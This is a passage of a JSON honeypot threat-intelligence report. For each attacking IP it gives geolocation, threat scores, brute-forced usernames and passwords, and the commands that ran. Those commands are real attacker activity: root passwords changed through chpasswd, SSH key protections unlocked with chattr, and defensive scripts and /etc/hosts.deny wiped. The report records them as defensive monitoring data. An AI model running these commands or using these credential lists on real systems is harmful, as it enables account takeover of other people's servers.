        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "62.1.89.189": {
      "attack_count": 2,
      "first_seen": "2026-05-16T03:00:30.578Z",
      "last_seen": "2026-05-16T03:00:43.686Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Greece",
      "country_code": "GR",
      "city": "Athens",
      "asn": 1241,
      "as_org": "Nova Telecommunications & Media Single Member S.A",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T03:00:30.578000+00:00",
        "last_seen_30d": "2026-05-16T03:01:48.656000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "86.108.17.2": {
      "attack_count": 2,
      "first_seen": "2026-05-16T09:45:41.711Z",
      "last_seen": "2026-05-16T09:45:58.150Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Jordan",
      "country_code": "JO",
      "city": "Amman",
      "asn": 8376,
      "as_org": "Jordan Data Communications Company LLC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T09:45:41.711000+00:00",
        "last_seen_30d": "2026-05-16T09:47:04.545000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "154.16.146.128": {
      "attack_count": 3770,
      "first_seen": "2026-05-02T20:29:04.440Z",
      "last_seen": "2026-05-29T10:28:24.282Z",
      "sessions": 1886,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.connect",
        "cowrie.session.closed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Buffalo",
      "asn": 14670,
      "as_org": "WHG Hosting Services Ltd",
      "threat_score": 61.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 23.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 6682,
        "days_active_30d": 28,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T20:29:04.440000+00:00",
        "last_seen_30d": "2026-05-29T11:10:21.271000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3770,
        "Suricata": 2912
      }
    },
    "47.76.34.40": {
      "attack_count": 1833,
      "first_seen": "2026-05-16T15:51:46.031Z",
      "last_seen": "2026-05-17T02:04:26.685Z",
      "sessions": 372,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "ubuntu",
        "deploy",
        "postgres",
        "test",
        "hadoop",
        "mysql",
        "oracle",
        "steam",
        "user1",
        "debian",
        "dev",
        "elasticsearch",
        "es",
        "frappe",
        "git",
        "testuser",
        "amir"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1234",
        "12345",
        "12345678",
        "123456789",
        "admin123",
        "111111",
        "1qaz@WSX",
        "Admin@123",
        "admin",
        "frappe",
        "user",
        "!Q2w3e4r",
        "!Q@W3e4r",
        "!QAZ2wsx",
        "!qaz@WSX",
        "0",
        "1"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 23.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 2706,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T15:51:46.031000+00:00",
        "last_seen_30d": "2026-05-17T02:08:39.567000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1833,
        "Suricata": 873
      }
    },
    "45.87.249.200": {
      "attack_count": 1064,
      "first_seen": "2026-05-25T10:54:10.890Z",
      "last_seen": "2026-05-31T21:41:22.087Z",
      "sessions": 210,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "pi",
        "test",
        "user",
        "administrator",
        "ftpuser",
        "user1",
        "Admin",
        "creeper",
        "ftp",
        "guest",
        "service",
        "sftptest",
        "support",
        "ubnt",
        "123",
        "1234",
        "123456",
        "1234567"
      ],
      "passwords_attempted": [
        "1234",
        "123456",
        "test",
        "12345",
        "admin",
        "password",
        "1",
        "123",
        "newroot",
        "pass",
        "superscv",
        "12345678",
        "123456789",
        "1q2w3e4r",
        "1qaz2wsx",
        "8888888",
        "P@ssw0rd",
        "admin01",
        "andreas",
        "changeme"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Seychelles",
      "country_code": "SC",
      "city": null,
      "asn": 210006,
      "as_org": "Shereverov Marat Ahmedovich",
      "threat_score": 49.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 1653,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:54:10.890000+00:00",
        "last_seen_30d": "2026-05-31T21:42:29.002000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1064,
        "Suricata": 589
      }
    },
    "183.91.11.36": {
      "attack_count": 798,
      "first_seen": "2026-05-05T12:39:02.247Z",
      "last_seen": "2026-05-17T22:20:46.470Z",
      "sessions": 113,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "345gs5662d34",
        "test",
        "ubuntu",
        "gmodserver4",
        "oracle",
        "postgres",
        "user",
        "...",
        "administrator",
        "ahsq",
        "bitrix",
        "david",
        "deploy",
        "deployer",
        "dev",
        "digital",
        "elasticsearch",
        "git"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "linux123",
        "#admin123",
        "1010",
        "111222333",
        "115599",
        "1221",
        "123",
        "123123",
        "12341234",
        "123456",
        "123456!",
        "1234567",
        "123456789",
        "123456ok",
        "123456test",
        "1234qwer",
        "135050",
        "135555"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"gmodserver4\\n1ayVFDakPRhb\\n1ayVFDakPRhb\\n\"|passwd",
        "echo \"root:J50IKNr4Zeq1\"|chpasswd|bash",
        "echo \"root:TZ8z7OzI7a5G\"|chpasswd|bash",
        "echo \"root:WyCCLnblR7OZ\"|chpasswd|bash",
        "echo -e \"gmodserver4\\n1ayVFDakPRhb\\n1ayVFDakPRhb\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Hanoi",
      "asn": 45903,
      "as_org": "CMC Telecom Infrastructure Company",
      "threat_score": 28.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 1052,
        "days_active_30d": 13,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T12:39:02.247000+00:00",
        "last_seen_30d": "2026-05-17T22:21:55.856000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 798,
        "Suricata": 254
      }
    },
    "203.228.30.198": {
      "attack_count": 445,
      "first_seen": "2026-05-24T18:52:42.974Z",
      "last_seen": "2026-05-27T11:01:09.359Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "iksi",
        "intel",
        "systemd",
        "ts3",
        "andrew",
        "dmdba",
        "fastuser",
        "httpd",
        "jerry",
        "mailuser",
        "manager",
        "marko",
        "node",
        "pgsql",
        "postgres",
        "qiyuesuo",
        "server"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "1",
        "fjbdfdjkdsfs541544AA@@",
        "0987poiu",
        "112233",
        "123",
        "12345",
        "123pls123A!",
        "ABCabc123@",
        "Admin@12345678",
        "Asd123456.",
        "Bm123456@",
        "Voidsetdownload.so",
        "asu",
        "fastuser",
        "fjbdfdjkdsfs541544@@",
        "jerry123",
        "lol123"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nKmsUi9xBZSLZ\\nKmsUi9xBZSLZ\\n\"|passwd",
        "echo \"Voidsetdownload.so\\nlxRJIQgqV36R\\nlxRJIQgqV36R\\n\"|passwd",
        "echo \"root:fUy8aQ7zkpNV\"|chpasswd|bash",
        "echo -e \"123456\\nKmsUi9xBZSLZ\\nKmsUi9xBZSLZ\"|passwd|bash",
        "echo -e \"Voidsetdownload.so\\nlxRJIQgqV36R\\nlxRJIQgqV36R\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.command.failed"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Buk-gu",
      "asn": 4766,
      "as_org": "Korea Telecom",
      "threat_score": 37.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 559,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T18:52:42.974000+00:00",
        "last_seen_30d": "2026-05-27T11:02:10.445000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 445,
        "Suricata": 114
      }
    },
    "186.56.11.2": {
      "attack_count": 437,
      "first_seen": "2026-05-21T09:48:18.326Z",
      "last_seen": "2026-05-21T10:29:25.726Z",
      "sessions": 29,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ctrip",
        "fu",
        "kubeadmin",
        "tiller",
        "admin",
        "bind",
        "opensuse",
        "tencent",
        "v2ray",
        "vps"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "000001",
        "ab001",
        "bind",
        "ctrip",
        "eleme",
        "fu",
        "killer",
        "kubernetes",
        "linecloud",
        "password",
        "pubg123",
        "shujuku",
        "superman",
        "tiller",
        "v2ray"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"ctrip\\niUEfuVSnxyYC\\niUEfuVSnxyYC\\n\"|passwd",
        "echo \"fu\\nGKvWVog5ogn5\\nGKvWVog5ogn5\\n\"|passwd",
        "echo \"kubernetes\\nSKgncl8ZtZFy\\nSKgncl8ZtZFy\\n\"|passwd",
        "echo \"root:jakvNmyI2Gt8\"|chpasswd|bash",
        "echo \"tiller\\nryfg1bll4wYk\\nryfg1bll4wYk\\n\"|passwd",
        "echo -e \"ctrip\\niUEfuVSnxyYC\\niUEfuVSnxyYC\"|passwd|bash",
        "echo -e \"fu\\nGKvWVog5ogn5\\nGKvWVog5ogn5\"|passwd|bash",
        "echo -e \"kubernetes\\nSKgncl8ZtZFy\\nSKgncl8ZtZFy\"|passwd|bash",
        "echo -e \"tiller\\nryfg1bll4wYk\\nryfg1bll4wYk\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Camarones",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 26.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 27.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 503,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T09:48:18.326000+00:00",
        "last_seen_30d": "2026-05-21T10:30:29.190000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 437,
        "Suricata": 66
      }
    },
    "91.233.83.203": {
      "attack_count": 390,
      "first_seen": "2026-05-10T19:26:34.484Z",
      "last_seen": "2026-05-12T11:49:53.019Z",
      "sessions": 195,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 61283,
      "as_org": "Andrew Millar Ltd",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 1287,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T02:27:08.509000+00:00",
        "last_seen_30d": "2026-05-12T11:51:03.237000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 897,
        "Cowrie": 390
      }
    },
    "171.244.141.86": {
      "attack_count": 311,
      "first_seen": "2026-05-19T22:13:42.173Z",
      "last_seen": "2026-05-19T22:48:13.852Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deploy",
        "rodrigo",
        "admin",
        "cesar",
        "claude",
        "ddd",
        "leo",
        "odoo17",
        "readonly",
        "ubuntu",
        "upgrade",
        "vintagestory"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "123456Qwe",
        "123@",
        "1qaZXsw2",
        "Claude2026!",
        "Q1w2e3r4t5!",
        "Qwe123456789",
        "abc@123!@#",
        "cesar",
        "ddd",
        "deploy@2022",
        "dj123456",
        "k8s@2023",
        "leo123",
        "password123",
        "qwertyu",
        "rodrigo"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"deploy@2022\\nbpyZmga31nAN\\nbpyZmga31nAN\\n\"|passwd",
        "echo \"rodrigo\\nIAT1EEJSSVjV\\nIAT1EEJSSVjV\\n\"|passwd",
        "echo \"root:LaQWZ3HmM10F\"|chpasswd|bash",
        "echo -e \"deploy@2022\\nbpyZmga31nAN\\nbpyZmga31nAN\"|passwd|bash",
        "echo -e \"rodrigo\\nIAT1EEJSSVjV\\nIAT1EEJSSVjV\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 23.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 371,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T22:13:42.173000+00:00",
        "last_seen_30d": "2026-05-19T22:49:21.903000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 311,
        "Suricata": 60
      }
    },
    "123.58.210.86": {
      "attack_count": 268,
      "first_seen": "2026-05-28T16:27:14.488Z",
      "last_seen": "2026-05-31T07:13:22.091Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "ftpuser",
        "abhishek",
        "alex",
        "chrism",
        "iot",
        "mark",
        "mohsen",
        "openhabian",
        "ts3",
        "user1"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1234.com",
        "123@Admin",
        "@qwer2025",
        "Aa!123456",
        "Aa102030",
        "Admin@234",
        "Azerty123",
        "Fu123456",
        "Welcome1",
        "ZAQ!2wsxCDE#4rfv",
        "abhishek",
        "alex1234",
        "chrism",
        "fjbdfdjkdsfs541544",
        "infinity@123",
        "mark",
        "openhabian"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"fjbdfdjkdsfs541544\\nnQSXslSsN4F3\\nnQSXslSsN4F3\\n\"|passwd",
        "echo \"test\\nOqpH3LTzRy70\\nOqpH3LTzRy70\\n\"|passwd",
        "echo -e \"fjbdfdjkdsfs541544\\nnQSXslSsN4F3\\nnQSXslSsN4F3\"|passwd|bash",
        "echo -e \"test\\nOqpH3LTzRy70\\nOqpH3LTzRy70\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 40.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 25.3,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 337,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T16:27:14.488000+00:00",
        "last_seen_30d": "2026-05-31T07:14:22.827000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 268,
        "Suricata": 69
      }
    },
    "69.157.68.14": {
      "attack_count": 267,
      "first_seen": "2026-05-29T08:20:00.891Z",
      "last_seen": "2026-05-31T14:41:54.971Z",
      "sessions": 30,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "webadmin",
        "admin",
        "adminuser",
        "david",
        "dev",
        "ftpuser2",
        "lrendon",
        "max",
        "one",
        "postgres",
        "samba"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "100200300",
        "111",
        "12121212",
        "123",
        "12345",
        "123456",
        "123qwe",
        "7ujm&UJM",
        "Abc123.",
        "Mm123456789",
        "P@ssw0rd",
        "P@ssw0rd@2026",
        "Ww@123456",
        "admin@2026",
        "bbbb",
        "david",
        "fjbdfdjkdsfs541544"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"P@ssw0rd\\nRZvJzoAXwLR1\\nRZvJzoAXwLR1\\n\"|passwd",
        "echo \"root:tLojUKwfOXdh\"|chpasswd|bash",
        "echo -e \"P@ssw0rd\\nRZvJzoAXwLR1\\nRZvJzoAXwLR1\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Mississauga",
      "asn": 577,
      "as_org": "Bell Canada",
      "threat_score": 39.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.3,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 335,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T08:20:00.891000+00:00",
        "last_seen_30d": "2026-05-31T14:42:57.760000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 267,
        "Suricata": 68
      }
    },
    "181.65.191.218": {
      "attack_count": 241,
      "first_seen": "2026-05-13T16:03:33.212Z",
      "last_seen": "2026-05-13T16:41:44.203Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ayjtnzjc"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "aaa",
        "alex04",
        "barbary",
        "daniel01",
        "director",
        "fastweb",
        "lgb",
        "parker",
        "password1234",
        "philip",
        "qazsedc",
        "qwe123asd",
        "shankar",
        "shell123",
        "testmail1",
        "texas123",
        "topo133",
        "vr"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"root:5dIqLUOhsANk\"|chpasswd|bash",
        "echo \"root:pzEwQkVvX6KE\"|chpasswd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Peru",
      "country_code": "PE",
      "city": "Lambayeque",
      "asn": 6147,
      "as_org": "INTEGRATEL PERU S.A.A.",
      "threat_score": 15.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 298,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T16:03:33.212000+00:00",
        "last_seen_30d": "2026-05-13T16:42:52.105000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 241,
        "Suricata": 57
      }
    },
    "43.160.242.74": {
      "attack_count": 219,
      "first_seen": "2026-05-09T18:42:31.059Z",
      "last_seen": "2026-05-09T19:18:55.393Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "admin",
        "test",
        "myappuser",
        "testuser",
        "345gs5662d34",
        "bitnami",
        "dev",
        "devops",
        "ftptest",
        "master",
        "mysql",
        "nodeuser",
        "oracle",
        "root",
        "sftp",
        "test1",
        "ts3bot",
        "user",
        "userlog"
      ],
      "passwords_attempted": [
        "pass",
        "password",
        "!",
        "00000000",
        "123",
        "1234",
        "123456",
        "123456789",
        "12345q",
        "123qwe",
        "1q1q1q",
        "1qazwsx",
